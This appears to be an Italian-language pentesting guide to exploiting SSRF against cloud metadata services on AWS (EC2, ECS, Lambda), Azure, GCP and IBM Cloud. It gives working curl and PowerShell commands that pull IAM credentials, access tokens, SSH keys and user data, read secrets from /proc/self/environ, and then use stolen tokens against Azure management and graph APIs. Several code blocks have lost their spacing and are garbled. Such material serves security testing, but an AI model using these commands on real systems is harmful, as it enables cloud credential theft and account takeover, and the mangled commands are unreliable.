Il metadata endpoint può essere accessibile da qualsiasi macchina EC2 e offre informazioni interessanti su di essa. È accessibile all'indirizzo: http://169.254.169.254 (informazioni sul metadata qui).
Ci sono 2 versioni del metadata endpoint. La prima permette di accedere all'endpoint tramite richieste GET (quindi qualsiasi SSRF può sfruttarlo). Per la versione 2, IMDSv2, è necessario richiedere un token inviando una richiesta PUT con un header HTTP e quindi utilizzare quel token per accedere al metadata con un altro header HTTP (quindi è più complicato da sfruttare con un SSRF).
Nota che se l'istanza EC2 sta applicando IMDSv2, secondo la documentazione, la risposta della richiesta PUT avrà un limite di hop di 1, rendendo impossibile accedere al metadata EC2 da un contenitore all'interno dell'istanza EC2.
Inoltre, IMDSv2 bloccherà anche le richieste per ottenere un token che includono l'header X-Forwarded-For. Questo per evitare che i proxy inversi configurati in modo errato possano accedervi.
Fai attenzione al aws_session_token, questo è indispensabile affinché il profilo funzioni.
PACU può essere utilizzato con le credenziali scoperte per scoprire i tuoi privilegi e cercare di ottenere privilegi elevati.
SSRF nelle credenziali di AWS ECS (Container Service)
ECS, è un gruppo logico di istanze EC2 su cui è possibile eseguire un'applicazione senza dover scalare la propria infrastruttura di gestione del cluster perché ECS si occupa di questo per te. Se riesci a compromettere il servizio in esecuzione in ECS, i punti di accesso ai metadati cambiano.
Se accedi a http://169.254.170.2/v2/credentials/<GUID> troverai le credenziali della macchina ECS. Ma prima devi trovare il <GUID>. Per trovare il <GUID> devi leggere la variabile environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI all'interno della macchina.
Potresti essere in grado di leggerlo sfruttando un Path Traversal a file:///proc/self/environ
L'indirizzo http menzionato dovrebbe fornirti l'AccessKey, SecretKey e token.
Si noti che in alcuni casi sarà possibile accedere all'istanza dei metadati EC2 dal container (verificare i limiti di TTL di IMDSv2 menzionati in precedenza). In questi scenari dal container è possibile accedere sia al ruolo IAM del container che al ruolo IAM dell'EC2.
SSRF per AWS Lambda
In questo caso le credenziali sono memorizzate nelle variabili di ambiente. Quindi, per accedervi è necessario accedere a qualcosa del genere file:///proc/self/environ.
Il nome delle interessanti variabili di ambiente sono:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Inoltre, oltre alle credenziali IAM, le funzioni Lambda hanno anche dati dell'evento che vengono passati alla funzione quando viene avviata. Questi dati sono resi disponibili alla funzione tramite l'interfaccia di runtime e potrebbero contenere informazioni sensibili (come all'interno delle stageVariables). A differenza delle credenziali IAM, questi dati sono accessibili tramite SSRF standard a http://localhost:9001/2018-06-01/runtime/invocation/next.
Si noti che le credenziali lambda sono all'interno delle variabili di ambiente. Quindi, se la traccia dello stack del codice lambda stampa le variabili di ambiente, è possibile esfiltrarle provocando un errore nell'applicazione.
Per utilizzare il token dell'account di servizio esfiltrato puoi semplicemente fare:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
Dal env è possibile ottenere i valori di IDENTITY_HEADEReIDENTITY_ENDPOINT. Che puoi utilizzare per ottenere un token per comunicare con il server dei metadati.
La maggior parte delle volte, desideri un token per una di queste risorse:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Si noti che in IBM di default i metadati non sono abilitati, quindi potrebbe non essere possibile accedervi anche se si è all'interno di una VM cloud IBM.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
La documentazione per i servizi di metadati delle varie piattaforme è descritta di seguito, evidenziando i metodi attraverso i quali è possibile accedere alle informazioni di configurazione e di runtime per le istanze. Ogni piattaforma offre endpoint unici per accedere ai suoi servizi di metadati.